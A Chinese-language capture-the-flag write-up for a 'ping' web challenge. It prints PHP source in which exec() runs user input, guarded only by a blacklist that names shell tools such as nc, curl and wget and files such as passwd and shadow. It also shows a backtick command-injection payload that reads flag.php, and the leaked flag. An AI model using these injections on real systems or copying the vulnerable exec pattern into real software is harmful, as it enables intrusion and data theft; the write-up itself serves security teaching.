ping的wp

這道題目是https://hackme.inndy.tw/scoreboard/的一個web題目,題目地址在:https://hackme.inndy.tw/ping,首先這個題目給了源碼

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Ping</title>
</head>
<body>
    <form action="." method="GET">
        IP: <input type="text" name="ip"> <input type="submit" value="Ping">
    </form>
    <pre><?php
        $blacklist = [
            'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed',
            'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill',
            'passwd', 'shadow', 'root',
            'z',
            'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g',
            'xargs', 'PATH',
            '$0', 'proc',
            '/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
        ];

        set_time_limit(2);

        function ping($ip) {
            global $blacklist;

            if(strlen($ip) > 15) {
                return 'IP toooooo longgggggggggg';
            } else {
                foreach($blacklist as $keyword) {
                    if(strstr($ip, $keyword)) {
                        return "{$keyword} not allowed";
                    }
                }
                $ret = [];
                exec("ping -c 1 \"{$ip}\" 2>&1", $ret);
                return implode("\n", array_slice($ret, 0, 10));
            }
        }

        if(!empty($_GET['ip']))
            echo htmlentities(ping($_GET['ip']));
        else
            highlight_file(__FILE__);
    ?></pre>
</body>
</html>

程序在$blacklist裏面過濾了很多東西,但是還是可以用“兩個反引號來繞過限制執行系統命令,所以,首先輸入`ls`來查看目錄,發現報錯信息裏面提示了有index.php和flag.php

ping: unknown host flag.php
index.php

所以flag一定是在flag.php裏面了,所以要嘗試去讀取flag.php,但是cat被禁掉了,所以要用tail來讀取flag.php,但是這裏還要有一個蛋疼地方,就是字符串裏面不能出現flag和php這兩個字符串,所以就要用通配符來讀取,所以最後的payload是:`tail *fl*.ph*`,效果是:

ping: unknown host <?php
$flag = 'FLAG{ping_$(capture-the-flag)_UtUbtnvY5F9Hn5dR}';
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章